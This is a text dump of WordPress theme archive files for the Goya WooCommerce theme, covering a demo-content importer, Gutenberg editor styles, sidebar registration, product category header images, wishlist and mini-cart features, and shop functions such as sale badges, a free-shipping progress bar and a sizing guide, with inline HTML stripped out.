$import_files['widgets'] ) ) { $import_files['widgets'] = ''; } } elseif ( ! empty( $selected_import_data['local_import_widget_file'] ) ) { if ( file_exists( $selected_import_data['local_import_widget_file'] ) ) { $import_files['widgets'] = $selected_import_data['local_import_widget_file']; } } // Get customizer import file as well. If defined! if ( ! empty( $selected_import_data['import_customizer_file_url'] ) ) { // Setup filename path to save the customizer content. $customizer_filename = 'options-' . $base_file_name . '.dat'; // Retrieve the content import file. $import_files['options'] = $downloader->fetch_existing_file( $customizer_filename ); // Download the file, if it's missing. if ( empty( $import_files['options'] ) ) { $import_files['options'] = $downloader->download_file( $selected_import_data['import_customizer_file_url'], $customizer_filename ); } // Reset the variable, if there was an error. if ( is_wp_error( $import_files['options'] ) ) { $import_files['options'] = ''; } } elseif ( ! empty( $selected_import_data['local_import_customizer_file'] ) ) { if ( file_exists( $selected_import_data['local_import_customizer_file'] ) ) { $import_files['options'] = $selected_import_data['local_import_customizer_file']; } } // Get revolution slider import file as well. If defined! if ( ! empty( $selected_import_data['import_rev_slider_file_url'] ) ) { // Setup filename path to save the customizer content. $rev_slider_filename = 'slider-' . $base_file_name . '.zip'; // Retrieve the content import file. $import_files['sliders'] = $downloader->fetch_existing_file( $rev_slider_filename ); // Download the file, if it's missing. if ( empty( $import_files['sliders'] ) ) { $import_files['sliders'] = $downloader->download_file( $selected_import_data['import_rev_slider_file_url'], $rev_slider_filename ); } // Reset the variable, if there was an error. if ( is_wp_error( $import_files['sliders'] ) ) { $import_files['sliders'] = ''; } } elseif ( ! empty( $selected_import_data['local_import_rev_slider_file'] ) ) { if ( file_exists( $selected_import_data['local_import_rev_slider_file'] ) ) { $import_files['sliders'] = $selected_import_data['local_import_rev_slider_file']; } } // Get redux import file as well. If defined! if ( ! empty( $selected_import_data['import_redux'] ) ) { $redux_items = array(); // Setup filename paths to save the Redux content. foreach ( $selected_import_data['import_redux'] as $index => $redux_item ) { $redux_filename = 'redux-' . $index . '-' . $base_file_name . '.json'; // Retrieve the content import file. $file_path = $downloader->fetch_existing_file( $redux_filename ); // Download the file, if it's missing. if ( empty( $file_path ) ) { $file_path = $downloader->download_file( $redux_item['file_url'], $redux_filename ); } // Reset the variable, if there was an error. if ( is_wp_error( $file_path ) ) { $file_path = ''; } $redux_items[] = array( 'option_name' => $redux_item['option_name'], 'file_path' => $file_path, ); } // Download the Redux import file. $import_files['redux'] = $redux_items; } elseif ( ! empty( $selected_import_data['local_import_redux'] ) ) { $redux_items = array(); // Setup filename paths to save the Redux content. foreach ( $selected_import_data['local_import_redux'] as $redux_item ) { if ( file_exists( $redux_item['file_path'] ) ) { $redux_items[] = $redux_item; } } // Download the Redux import file. $import_files['redux'] = $redux_items; } return $import_files; } /** * AJAX callback for the 'merlin_update_selected_import_data_info' action. */ public function update_selected_import_data_info() { $selected_index = ! isset( $_POST['selected_index'] ) ? false : intval( $_POST['selected_index'] ); if ( false === $selected_index ) { wp_send_json_error(); } $import_info = $this->get_import_data_info( $selected_index ); $import_info_html = $this->get_import_steps_html( $import_info ); wp_send_json_success( $import_info_html ); } /** * Get the import steps HTML output. * * @param array $import_info The import info to prepare the HTML for. * * @return string */ public function get_import_steps_html( $import_info ) { ob_start(); ?> $available ) : ?>
  • import finished. */ public function import_finished() { delete_transient( 'merlin_import_file_base_name' ); wp_send_json_success(); } } gutenberg.php000064400000003520151546501460007246 0ustar00 pow(130, 2)){ return $default; }else{ return $color; } } function goya_gutenberg_styles() { $body_font_color = str_replace('#', '', get_theme_mod('main_font_color', '#585858') ); $body_readable_color = '#' . goya_readable_color($body_font_color, $default = '585858'); // Load the theme styles within Gutenberg. ob_start(); ?> .edit-post-visual-editor.editor-styles-wrapper { color:; } .block-editor .editor-styles-wrapper h1, .block-editor .editor-styles-wrapper h2, .block-editor .editor-styles-wrapper h3, .block-editor .editor-styles-wrapper h4, .block-editor .editor-styles-wrapper h5, .block-editor .editor-styles-wrapper h6, .editor-post-title__block .editor-post-title__input, .wp-block-quote { color:; } .wp-block-freeform.block-library-rich-text__tinymce a { color:; cursor: pointer; } .wp-block-freeform.block-library-rich-text__tinymce a:hover { color: ; } 'blog', 'name' => esc_html__('Blog Sidebar', 'goya' ), 'description' => esc_html__('Blog home/category sidebar', 'goya' ), 'before_widget' => '
    ', 'after_widget' => '
    ', )); /* Single Post Sidebar */ register_sidebar(array( 'id' => 'single', 'name' => esc_html__('Post Sidebar', 'goya' ), 'description' => esc_html__('Single post sidebar', 'goya' ), 'before_widget' => '
    ', 'after_widget' => '
    ', )); /* Page Sidebar */ register_sidebar(array( 'id' => 'page', 'name' => esc_html__('Page Sidebar', 'goya' ), 'description' => esc_html__('Must be enabled per page. Otherwise, pages don\'t display the sidebar', 'goya' ), 'before_widget' => '
    ', 'after_widget' => '
    ', )); /* Mobile Sidebar */ register_sidebar(array( 'id' => 'offcanvas-menu', 'name' => esc_html__('Off-Canvas Menu Panel', 'goya' ), 'description' => esc_html__('Displayed under menu in off canvas panel', 'goya' ), 'before_widget' => '
    ', 'after_widget' => '
    ', )); /* Shop Sidebar */ if ( goya_wc_active() ) { register_sidebar(array( 'id' => 'widgets-shop', 'name' => esc_html__( 'Shop Sidebar', 'goya' ), 'description' => esc_html__('Shop sidebar (top, side, offcanvas)', 'goya' ), 'before_widget' => '
    ', 'after_widget' => '
    ', )); } /* Footer Widgets Sidebar */ register_sidebar(array( 'name' => esc_html__('Footer - Column 1', 'goya'), 'id' => 'footer1', 'before_widget' => '
    ', 'after_widget' => '
    ', )); register_sidebar(array( 'name' => esc_html__('Footer - Column 2', 'goya'), 'id' => 'footer2', 'before_widget' => '
    ', 'after_widget' => '
    ', )); register_sidebar(array( 'name' => esc_html__('Footer - Column 3', 'goya'), 'id' => 'footer3', 'before_widget' => '
    ', 'after_widget' => '
    ', )); register_sidebar(array( 'name' => esc_html__('Footer - Column 4', 'goya'), 'id' => 'footer4', 'before_widget' => '
    ', 'after_widget' => '
    ', )); } add_action( 'widgets_init', 'goya_register_sidebars' );woocommerce/category-image.php000064400000011402151546501460012476 0ustar00term_id, 'display_type', true ); $image = ''; $header_id = absint( get_term_meta( $term->term_id, 'header_id', true ) ); $shop_menu_color_cat = get_term_meta( $term->term_id, 'shop_menu_color_cat', true ); if ($header_id) { $image = wp_get_attachment_image_url( $header_id, 'medium' ); } else { $image = wc_placeholder_img_src(); } ?>

    Customize > Shop > Products Catalog > Shop Hero Title', 'goya' ); ?>

    attribute_name . '_edit_form_fields', 'goya_edit_category_header_img', 20, 2 ); } } } /** * woocommerce_category_header_img_save function. */ function goya_category_header_img_save( $term_id, $tt_id, $taxonomy ) { if ( isset( $_POST['product_cat_header_id'] ) ) update_woocommerce_term_meta( $term_id, 'header_id', wp_unslash( absint( $_POST['product_cat_header_id'] ) ) ); if ( isset( $_POST['shop_menu_color_cat'] ) ) update_woocommerce_term_meta( $term_id, 'shop_menu_color_cat', wp_unslash($_POST['shop_menu_color_cat'] ) ); delete_transient( 'wc_term_counts' ); } add_action( 'created_term', 'goya_category_header_img_save', 10,3 ); add_action( 'edit_term', 'goya_category_header_img_save', 10,3 ); /** * Header column added to category admin. */ function goya_woocommerce_product_cat_header_columns( $columns ) { $new_columns = array(); $new_columns['cb'] = $columns['cb']; $new_columns['thumb'] = esc_html__( 'Image', 'goya' ); $new_columns['header'] = esc_html__( 'Header', 'goya' ); unset( $columns['cb'] ); unset( $columns['thumb'] ); return array_merge( $new_columns, $columns ); } add_filter( 'manage_edit-product_cat_columns', 'goya_woocommerce_product_cat_header_columns' ); /** * Thumbnail column value added to category admin. */ function goya_woocommerce_product_cat_header_column( $columns, $column, $id ) { if ( $column == 'header' ) { $image = ''; $thumbnail_id = get_term_meta( $id, 'header_id', true ); $thumb_size = 48; if ($thumbnail_id) $image = wp_get_attachment_image_url( $thumbnail_id, 'thumbnail' ); else $image = wc_placeholder_img_src(); $columns .= 'Thumbnail'; } return $columns; } add_filter( 'manage_product_cat_custom_column', 'goya_woocommerce_product_cat_header_column', 10, 3 ); woocommerce/wc-elements.php000064400000016400151546501460012027 0ustar00 get_wishlist_url(); $wishlist_url = apply_filters('goya_yith_wishlist_url', $url); $count = yith_wcwl_count_products(); $countp = ($count > 0) ? $count : ''; ?> yith_wcwl_count_products() ) ); } add_action( 'wp_ajax_yith_wcwl_update_wishlist_count', 'goya_yith_wcwl_ajax_update_count' ); add_action( 'wp_ajax_nopriv_yith_wcwl_update_wishlist_count', 'goya_yith_wcwl_ajax_update_count' ); } /* Add wishlist to account menu */ add_filter ( 'woocommerce_account_menu_items', 'goya_account_wishlist_link' ); function goya_account_wishlist_link( $menu_links ) { $new = array( 'wishlist' => esc_attr__('Wishlist', 'goya' ) ); $menu_links = array_slice( $menu_links, 0, 2, true ) + $new + array_slice( $menu_links, 1, NULL, true ); return $menu_links; } /* Create wishlist endpoint */ add_action( 'init', 'goya_account_wishlist_endpoint' ); function goya_account_wishlist_endpoint() { $in_account = get_theme_mod('wishlist_account_dashboard', false); if ( $in_account == true) { add_rewrite_endpoint( 'wishlist', EP_ROOT | EP_PAGES ); } } add_filter( 'woocommerce_get_endpoint_url', 'goya_account_wishlist_endpoint_external', 10, 4 ); function goya_account_wishlist_endpoint_external( $url, $endpoint, $value, $permalink ){ $in_account = get_theme_mod('wishlist_account_dashboard', false); if ( $endpoint === 'wishlist' && !$in_account == true ) { $url = YITH_WCWL()->get_wishlist_url(); } return $url; } /* Add shortcode to wishlist tab */ add_action( 'woocommerce_account_wishlist_endpoint', 'goya_account_wishlist_content' ); function goya_account_wishlist_content() { echo do_shortcode( '[yith_wcwl_wishlist]' ); } } /* Remove default YITH Wishlist shortcode */ if ( class_exists( 'YITH_WCWL_Frontend' ) ) { remove_action( 'wp_head', array( YITH_WCWL_Frontend(), 'add_button' ) ); if (is_admin()) { update_option( 'yith_wcwl_button_position', 'shortcode'); update_option( 'yith_wcwl_loop_position', 'shortcode'); update_option( 'add_to_wishlist-position', 'shortcode'); update_option( 'add_to_wishlist_catalog-position', 'shortcode'); } } /* Single Product: Render wishlist on single product pages */ function goya_wishlist_button_product() { goya_wishlist_button('product'); } /* Mini Cart ---------------------------------------------------------- */ /* Mini Cart: Header Button */ function goya_quick_cart() { if( ! goya_wc_active() ) { return; } if ( get_theme_mod('shop_catalog_mode', false) == false ) { $cart_count = apply_filters( 'goya_cart_count', is_object( WC()->cart ) ? WC()->cart->cart_contents_count : 0 ); $count_class = ( $cart_count > 0 ) ? '' : ' et-count-zero'; ?> cart->empty_cart(); $referer = wp_get_referer() ? esc_url( remove_query_arg( 'empty_cart' ) ) : wc_get_cart_url(); wp_safe_redirect( $referer ); } }woocommerce/wc-functions.php000064400000162647151546501460012242 0ustar00' $defaults['delimiter'] = ' / '; return $defaults; } add_filter( 'woocommerce_breadcrumb_defaults', 'goya_change_breadcrumb_delimiter' ); /* Pagination */ function goya_woocommerce_pagination_args( $defaults ) { $defaults['prev_text'] = '← '.esc_html__( 'Prev', 'goya' ); $defaults['next_text'] = esc_html__( 'Next', 'goya' ).' →'; return $defaults; } add_filter( 'woocommerce_pagination_args', 'goya_woocommerce_pagination_args' ); /* Search ---------------------------------------------------------- */ /* Disable redirection to single product from the search field */ add_filter( 'woocommerce_redirect_single_search_result', '__return_false' ); function goya_search_by_category($index) { if ( ! get_theme_mod('search_categories', false) == true ) { return; } if(isset($_REQUEST['product_cat']) && !empty($_REQUEST['product_cat'])) { $optsetlect = sanitize_key( $_REQUEST['product_cat'] ); } else { $optsetlect = 0; } $args = array( 'id' => 'product_cat-' . $index, 'name' => 'product_cat', 'show_option_all' => esc_html__( 'All Categories', 'goya' ), 'hierarchical' => 1, 'class' => 'cate-dropdown wc-category-select', 'taxonomy' => 'product_cat', 'depth' => 2, 'echo' => 1, 'value_field' => 'slug', 'selected' => $optsetlect, 'hide_if_empty' => true ); echo ''; wp_dropdown_categories(apply_filters('goya_ajax_search_categories_args', $args)); } /* Shop notices */ function goya_wc_print_notices() { echo '
    '; if ( function_exists('wc_print_notices') ) { echo wc_print_notices(); } echo '
    '; } /* Multi Currency */ if ( class_exists('WCML_WC_MultiCurrency')) { global $WCML_WC_MultiCurrency; remove_action('woocommerce_product_meta_start', array($WCML_WC_MultiCurrency, 'currency_switcher')); } /* Display subcategories for current category */ function goya_subcategories_by_id($parent_cat_ID) { $args = array( 'hierarchical' => 1, 'show_option_none' => '', 'hide_empty' => 1, 'parent' => $parent_cat_ID, 'taxonomy' => 'product_cat' ); $subcats = get_categories(apply_filters('goya_subcategories_by_id_args', $args)); ?> 'post', 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => 0, 'hierarchical' => 1, 'taxonomy' => 'product_cat' ); $categories = get_categories( $args ); } ?> ") { $content = substr($content, 4); } if (substr( $content, -3 ) === "

    ") { $content = substr($content, 0, -3); } return $content; } /* Product Category Grid Sizes */ function goya_get_product_cat_grid_size($style, $i) { if ($style == 'style1') { switch($i) { case 1: case 11: case 21: $article_size = 'col-md-8'; break; case 3: case 13: case 23: $article_size = 'col-md-4 double-height'; break; default: $article_size = 'col-md-4 grid-sizer'; break; } } else if ($style == 'style2') { switch($i) { case 1: case 13: $article_size = 'col-md-6'; break; case 2: case 4: case 5: case 6: case 9: case 8: case 10: case 11: case 14: case 15: default: $article_size = 'col-md-3 grid-sizer'; break; case 3: case 7: case 12: $article_size = 'col-md-3'; break; } } else if ($style == 'style3') { switch($i) { case 1: case 2: case 6: case 7: case 11: case 12: $article_size = 'col-md-6'; break; case 3: case 4: case 5: default: $article_size = 'col-md-4'; break; } } return apply_filters('goya_product_category_grid_size', $article_size, $style, $i); } /* Shop Filters ---------------------------------------------------------- */ /* Shop: Catalog Bar */ function goya_shop_toolbar() { global $_chosen_attributes; $filters = get_theme_mod('shop_filters', true); $filter_position = goya_meta_config('shop','filter_position','header'); ?>

    getChosenFilters(); $active_filters = $active_filters['active_filters']; $active_filters = apply_filters( 'goya_wc_active_filters', $active_filters ); if (sizeof($active_filters) > 0) { $instance = array( 'title' => esc_attr( 'Active Filters:', 'goya' ), 'button_text' => esc_attr( 'Remove All', 'goya' ), ); the_widget( 'WCAPF_Active_Filters_Widget', $instance ); } else { do_action( 'goya_breadcrumbs' ); } } /* WC Ajax Filters default settings */ function goya_wc_ajax_filters() { if ( class_exists('WCAPF') ) { $wcapf = get_option('wcapf_settings'); $wcapf['scroll_to_top_offset'] = '150'; update_option('wcapf_settings', $wcapf); } } add_action( 'after_setup_theme', 'goya_wc_ajax_filters' ); /* Custom Loop ---------------------------------------------------------- */ /* WCAPF - On Sale */ function goya_wcapf_onsale_products_page($post__in) { global $wp_query; if($wp_query->is_sale_page) { if ( sizeof($post__in) > 0 ) { $post__in = array_intersect($post__in, wc_get_product_ids_on_sale() ); } else { $post__in = wc_get_product_ids_on_sale(); } } return $post__in; } add_filter('wcapf_get_post__in', 'goya_wcapf_onsale_products_page'); /* WCAPF - Reset link */ function goya_wcapf_reset_link($link) { global $wp_query; if ($wp_query->is_sale_page) { if (class_exists('Woocommerce_onsale_page')) { $link = get_permalink( wc_get_page_id( 'onsale' ) ); } } return $link; } add_filter('wcapf_get_reset_link', 'goya_wcapf_reset_link'); /* WOOF - On Sale Page plugin support */ function goya_woof_onsale_products_page($request) { global $wp_query; if($wp_query->is_sale_page) { $request['onsales'] = 'salesonly'; } return $request; } add_filter('woof_get_request_data', 'goya_woof_onsale_products_page'); /* Mini Cart ---------------------------------------------------------- */ /* Get items count */ function goya_minicart_items_count() { $cart_count = apply_filters( 'goya_cart_count', is_object( WC()->cart ) ? WC()->cart->cart_contents_count : 0 ); $count_class = ( $cart_count > 0 ) ? '' : ' et-count-zero'; return '' . $cart_count . ''; } /* Update minicart counter */ function goya_minicart_update($fragments) { // Cart count $cart_count = goya_minicart_items_count(); $fragments['.minicart-counter'] = $cart_count; // Progress Bar $locations = get_theme_mod('progress_bar_locations',array('minicart')); if ((in_array('cart', $locations) || in_array('single-product', $locations)) && get_theme_mod('progress_bar_enable', false) == true ) { $fragments['.free-shipping-progress-bar'] = goya_progress_bar_fragments(); } if ( !isset( $_REQUEST['goya_atc_nonce'] ) ) { unset($fragments['div.wc-facebook-pixel-event-placeholder']); } return $fragments; } add_filter('woocommerce_add_to_cart_fragments', 'goya_minicart_update'); /* Replace values on ajax add to cart */ function goya_single_ajax_add_to_cart_refresh() { // Facebook for WC $wc_fb_atc = apply_filters( 'goya_wc_facebook_ajax_atc', in_array('facebook-for-woocommerce/facebook-for-woocommerce.php', apply_filters('active_plugins', get_option('active_plugins'))) ); $ajax_atc = apply_filters('goya_ajax_atc_single_product', get_theme_mod( 'product_single_ajax_addtocart', true )); if ($wc_fb_atc == true && $ajax_atc == true) { do_action( 'woocommerce_ajax_added_to_cart', null ); } if ( isset( $_REQUEST['goya_atc_nonce'] ) ) { goya_wc_print_notices(); //Refresh mini cart echo goya_minicart_items_count(); woocommerce_mini_cart(); exit; } } add_action( 'wp', 'goya_single_ajax_add_to_cart_refresh', 1000 ); /* Minicart update totals */ function goya_minicart_quantity_update( $cart_updated ) { if ( isset( $_REQUEST['minicart_qty_update'] ) && $cart_updated ) { WC()->cart->calculate_totals(); return false; } return $cart_updated; } add_action( 'woocommerce_update_cart_action_cart_updated', 'goya_minicart_quantity_update' ); /* Progress Bar ---------------------------------------------------------- */ /* Add progress bar */ if ( get_theme_mod('progress_bar_enable', false) == true ) { $locations = get_theme_mod('progress_bar_locations',array('minicart')); if (in_array('minicart', $locations)) { // add to mini cart panel add_action( 'woocommerce_widget_shopping_cart_before_buttons', 'goya_progress_bar_content' ); } if (in_array('cart', $locations)) { // add to cart page add_action( 'woocommerce_before_cart', 'goya_progress_bar_placeholder' ); } if (in_array('single-product', $locations)) { // before add to cart button add_action('woocommerce_before_add_to_cart_button', 'goya_progress_bar_placeholder', 10); } } /* Include bar in cart fragments*/ function goya_progress_bar_fragments() { ob_start(); goya_progress_bar_content(); $output = ob_get_clean(); return $output; } /* Placeholder, to be updated with cart fragments */ function goya_progress_bar_placeholder() { ?>
    woocs_exchange_value($goal); } // Additional filter for other changes $goal = apply_filters('goya_progress_bar_goal_amount', $goal); $percent = 100; $subtotal = WC()->cart->get_subtotal(); if (get_theme_mod('progress_bar_subtotal_taxes', true)) { $tax = WC()->cart->get_subtotal_tax(); $subtotal = $subtotal + $tax; } if ( $subtotal < $goal ) { $percent = floor(($subtotal / $goal) * 100); } $message = get_theme_mod( 'progress_bar_msg', 'Add [missing_amount] more to get Free Shipping!' ); $message_success = get_theme_mod( 'progress_bar_success_msg', 'You\'ve got free shipping!' ); ?>
    %
    0 ) { ?> 0 ) { ?>

    0 ) { ?>

    1 ) { return ''; } else { return esc_html__( 'Please fill in the required fields', 'goya' ); } } add_filter( 'woocommerce_checkout_required_field_notice', 'goya_checkout_required_field_notice' ); // Process shortcodes in Terms and Conditions page lightbox remove_action( 'woocommerce_checkout_terms_and_conditions', 'wc_terms_and_conditions_page_content', 30 ); add_action( 'woocommerce_checkout_terms_and_conditions', 'goya_wc_terms_and_conditions_page', 30 ); function goya_wc_terms_and_conditions_page() { $terms_page_id = wc_terms_and_conditions_page_id(); if ( ! $terms_page_id ) { return; } $page = get_post( $terms_page_id ); if ( $page && 'publish' === $page->post_status && $page->post_content && ! has_shortcode( $page->post_content, 'woocommerce_checkout' )) { echo ''; } } /* Product Badges ---------------------------------------------------------- */ function goya_product_badge() { global $post, $product; if( ! is_a($product, 'WC_Product') ) $product = wc_get_product( get_the_id() ); $stock_badge = get_theme_mod('product_outofstock_badge', true); $stock_badge_variations = apply_filters('goya_outofstock_badge_per_variation', false ); $att_in_stock = true; if ($stock_badge == true ) { // Out of Stock simple/variable products if ( ( $product->get_type() === 'simple' and !$product->is_in_stock() ) || ( $product->get_type() === 'variable' && !$product->is_in_stock()) ) { $att_in_stock = false; ?> get_type() == 'variable' && $stock_badge_variations == true ) { $product_variations = $product->get_available_variations(); $att_in_stock = false; foreach ( $product_variations as $product_variation ) { if( isset( $product_variation['attributes'] ) ) { if( $product_variation['is_in_stock'] ) { $att_in_stock = true; } } } if ($att_in_stock == false) { ?> is_on_sale() && get_theme_mod('product_sale_flash', 'pct') != 'disabled' && get_theme_mod('shop_catalog_mode', false) == false ) { // Display percentage if ( get_theme_mod('product_sale_flash', 'pct') == 'pct' ) { if ( $product->get_type() === 'variable' ) { // Get product variation prices (regular and sale) $product_variation_prices = $product->get_variation_prices(); $highest_sale_percent = 0; foreach( $product_variation_prices['regular_price'] as $key => $regular_price ) { // Get sale price for current variation $sale_price = $product_variation_prices['sale_price'][$key]; // Is product variation on sale? if ( $sale_price < $regular_price ) { $sale_percent = round( ( ( $regular_price - $sale_price ) / $regular_price ) * 100 ); // Is current sale percent highest? if ( $sale_percent > $highest_sale_percent ) { $highest_sale_percent = $sale_percent; } } } if ( $highest_sale_percent > 0 ) { // Return the highest product variation sale percent echo apply_filters('woocommerce_sale_flash', '- ' . $highest_sale_percent . ' % ' . esc_html__( 'Off', 'goya' ) . '', $post, $product); } } else { $regular_price = $product->get_regular_price(); $sale_percent = 0; // Make sure the percentage value can be calculated if ( intval( $regular_price ) > 0 && $product->get_price()) { $sale_percent = round( ( ( $regular_price - $product->get_price() ) / $regular_price ) * 100 ); } if ( $sale_percent > 0 ) { echo apply_filters('woocommerce_sale_flash', '-' . $sale_percent . '% ' . esc_html__( 'Off', 'goya' ) . '', $post, $product); } } // Or display text } else { echo apply_filters('woocommerce_sale_flash', '' . apply_filters('goya_sale_badge_text', esc_html__( 'Sale', 'goya' ) ) . '', $post, $product); } } } } add_action( 'goya_product_badge', 'goya_product_badge',3 ); // Add badge to Shop loop if( get_theme_mod('product_sale_flash', 'pct') != 'disabled' || get_theme_mod('product_new_badge', true) == true ) { add_action( 'woocommerce_before_shop_loop_item_title', 'goya_product_badge',10 ); } // Add badge to Single Product and Quickview if( get_theme_mod('single_product_sale_flash', true) == true ) { add_action( 'woocommerce_single_product_summary', 'goya_product_badge',9 ); } /* Out of Stock Check */ function goya_out_of_stock() { global $post; $id = $post->ID; $status = get_post_meta($id, '_stock_status',true); if ($status == 'outofstock') { return true; } else { return false; } } // Use the uncropped thumbnail instead of the default 100x100px add_filter( 'woocommerce_gallery_thumbnail_size', function( $size ) { return 'thumbnail'; } ); /* Wishlist ---------------------------------------------------------- */ /* Don't reload on variation change */ add_filter( 'yith_wcwl_reload_on_found_variation', '__return_false' ); /* Single Product: Social Sharing */ if ( get_theme_mod('product_share_buttons', true) == true ) { add_action('woocommerce_share', 'goya_social_share', 50); } /* Single Product: Sizing Guide ---------------------------------------------------------- */ function goya_sizing_guide() { global $post, $product; // Get page id $size_guide = get_theme_mod('product_size_guide',true); $size_page = get_theme_mod('product_size_page',''); // WPML $size_page = apply_filters( 'wpml_object_id', $size_page, 'page', TRUE ); $sizing_guide_page = get_post_meta(get_the_ID(), 'goya_product_sizing_guide', true); $size_variable = get_theme_mod('product_size_variable',true); $size_apply = get_theme_mod('product_size_apply','all'); $size_categories = get_theme_mod('product_size_categories',''); $size_text = 'Size Guide'; $in_category = false; if (!empty($size_categories)) { $terms = get_the_terms( $product->get_id(), 'product_cat' ); foreach ($terms as $term) { if (in_array($term->term_id, $size_categories)) { $in_category = true; break; } } } if (!empty($sizing_guide_page) ) { $size_page = $sizing_guide_page; $size_guide = true; } else { if ( $size_apply == 'custom' && $in_category == false) { $size_guide = false; return; } if ($size_variable == true && !$product->is_type( 'variable' )) { $size_guide = false; return; } } // Check if the global option is active if ($size_guide == true && !empty($size_page)) { return apply_filters('goya_size_guide_page', $size_page); } } // Sizing guide: If position is changed also update content-quickview.php */ add_action('woocommerce_single_product_summary', 'goya_sizing_guide_link', 29); function goya_sizing_guide_link() { $size_page = goya_sizing_guide(); $mode = apply_filters('goya_size_guide_open_mode', 'lightbox'); if (!empty($size_page)) { if ($mode == 'lightbox') { ?> .*?).*?(.*?)@misx', '$2 $1', $price); } add_filter( 'woocommerce_get_price_html', 'goya_woocommerce_price_html', 100, 2 ); // Output the result count text function goya_result_count() { if ( ! wc_get_loop_prop( 'is_paginated' ) || ! woocommerce_products_will_display() ) { return; } $total = wc_get_loop_prop( 'total' ); ?>

    '; } add_action( 'woocommerce_before_subcategory_title', 'goya_before_subcategory_title', 15 ); function goya_after_subcategory_title() { echo ''; } add_action( 'woocommerce_after_subcategory_title', 'goya_after_subcategory_title', 15 ); /* Category count */ function goya_subcategory_count_html($markup, $category) { return '' . $category->count . ''; } add_filter( 'woocommerce_subcategory_count_html', 'goya_subcategory_count_html', 10, 2 ); /* Add extra container to category link */ function goya_category_div_open() { echo '
    '; } function goya_category_div_close() { echo '
    '; } add_action('woocommerce_before_subcategory', 'goya_category_div_open', 10); add_action('woocommerce_after_subcategory', 'goya_category_div_close', 10); /* Shop (product loop): Change Category Thumbnail Size */ function goya_template_loop_category_link_open($category) { $thumbnail_id = get_term_meta( $category->term_id, 'thumbnail_id', true ); if ( $thumbnail_id ) { $size = apply_filters( 'subcategory_archive_thumbnail_size', 'woocommerce_thumbnail' ); $image = wp_get_attachment_image_src( $thumbnail_id, $size ); $image = $image[0]; } else { $image = wc_placeholder_img_src(); } echo ''; } remove_action( 'woocommerce_before_subcategory_title', 'woocommerce_subcategory_thumbnail', 10 ); remove_action( 'woocommerce_before_subcategory', 'woocommerce_template_loop_category_link_open', 10); add_action( 'woocommerce_before_subcategory', 'goya_template_loop_category_link_open', 10); /* Cart Page: Move cross-sells to the bottom */ remove_action( 'woocommerce_cart_collaterals', 'woocommerce_cross_sell_display' ); add_action( 'woocommerce_after_cart', 'woocommerce_cross_sell_display' ); /* Single Product */ // Remove Sale Flash (replaced by goya_product_badge()) remove_action( 'woocommerce_before_single_product_summary', 'woocommerce_show_product_sale_flash', 10 ); /* Shop Page: Layout changes ---------------------------------------------------------- */ //woocommerce_before_shop_loop_item remove_action( 'woocommerce_before_shop_loop_item', 'woocommerce_template_loop_product_link_open', 10 ); //woocommerce_after_shop_loop_item remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_product_link_close', 5 ); // woocommerce_before_shop_loop_item_title remove_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_template_loop_product_thumbnail', 10 ); remove_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_show_product_loop_sale_flash', 10 ); // woocommerce_shop_loop_item_title remove_action( 'woocommerce_shop_loop_item_title', 'woocommerce_template_loop_product_title', 10 ); //woocommerce_after_shop_loop_item_title remove_action( 'woocommerce_after_shop_loop_item_title', 'woocommerce_template_loop_rating', 5 ); if ( get_theme_mod('rating_listing', false) == true ) { add_action( 'woocommerce_after_shop_loop_item_title', 'woocommerce_template_loop_rating', 10 ); } // Remove Sidebar add_action('template_redirect', function() { if ( is_product() ) { remove_action('woocommerce_sidebar', 'woocommerce_get_sidebar'); } }, 0 ); // Remove notices section remove_action( 'woocommerce_before_single_product', 'wc_print_notices', 10 ); /* Main Shop description */ function goya_display_shop_header_description() { global $wp_query; $is_sale_page = $wp_query->is_sale_page; $is_latest_page = $wp_query->is_latest_page; $is_main_shop = is_shop(); // OnSale page plugin if ( $is_sale_page || $is_latest_page ) { $is_main_shop = false; } if ( $is_main_shop && !is_search() && get_theme_mod('shop_header_description', '') != '' ) { ?>
    get_id()); if ($product_id != 0) { $product = new WC_product($product_id); } $product_gallery_thumbnail_ids = $product->get_gallery_image_ids(); $product_thumbnail_alt_id = ( $product_gallery_thumbnail_ids ) ? reset( $product_gallery_thumbnail_ids ) : null; // Get first gallery image id if ( $product_thumbnail_alt_id ) { $product_thumbnail_alt_src = wp_get_attachment_image_src( $product_thumbnail_alt_id, 'woocommerce_thumbnail' ); // Make sure the first image is found (deleted image id's can still be assigned to the gallery) if ( $product_thumbnail_alt_src ) { return wp_get_attachment_image( $product_thumbnail_alt_id, 'woocommerce_thumbnail', '', array('class'=>'product_thumbnail_hover') ); } } return ''; } } /* Shop: Use single add to cart button for variable products to enable swatches on product list */ function goya_add_loop_variation_swatches() { $enable_swatches = get_theme_mod('archive_show_swatches', false); if (! $enable_swatches == true ) { return; } global $wp_query, $product; if( ! is_a($product, 'WC_Product') ) $product = wc_get_product( get_the_id() ); $vars = $wp_query->query_vars; $is_shortcode = array_key_exists('goya_is_shortcode', $vars) ? $vars['goya_is_shortcode'] : false; $sc_swatches = array_key_exists('goya_product_swatches', $vars) ? $vars['goya_product_swatches'] : false; $showall = apply_filters( 'goya_all_attributes_in_shop', false ); if ( $is_shortcode && ! $sc_swatches ) { return; } if (class_exists('Woo_Variation_Swatches') && !class_exists('Woo_Variation_Swatches_Pro') && $product->is_type( 'variable' )) { // Get list of color and image attributes $product_attr = wc_get_attribute_taxonomies(); $swatches = array(); if($product_attr) { foreach ( $product_attr as $attr ) { if ($showall == true ) { $swatches[] = $attr->attribute_name; } else { if ($attr->attribute_type == 'image' || $attr->attribute_type == 'color') { $swatches[] = $attr->attribute_name; } } } } // Check if the product has the attributes selected in the customizer $is_swatch = false; if ( !empty($swatches)) { foreach ($swatches as $swatch) { $attr_terms = $product->get_attribute( 'pa_' . $swatch ); if (!empty($attr_terms)) { $is_swatch = true; } } } if ( (get_theme_mod('archive_show_swatches', false) == true || $sc_swatches ) && $is_swatch == true ) { // Enqueue variation scripts. wp_enqueue_script( 'wc-loop-variations', GOYA_ASSET_JS . '/vendor/wc-loop-variations.min.js', array( 'jquery' ), GOYA_THEME_VERSION, TRUE); // Get Available variations? $get_variations = count( $product->get_children() ) <= apply_filters( 'woocommerce_ajax_variation_threshold', 30, $product ); // Load the template. wc_get_template( 'loop/loop-variations.php', array( 'available_variations' => $get_variations ? $product->get_available_variations() : false, 'attributes' => $product->get_variation_attributes(), 'selected_attributes' => $product->get_default_attributes(), ) ); } } else if 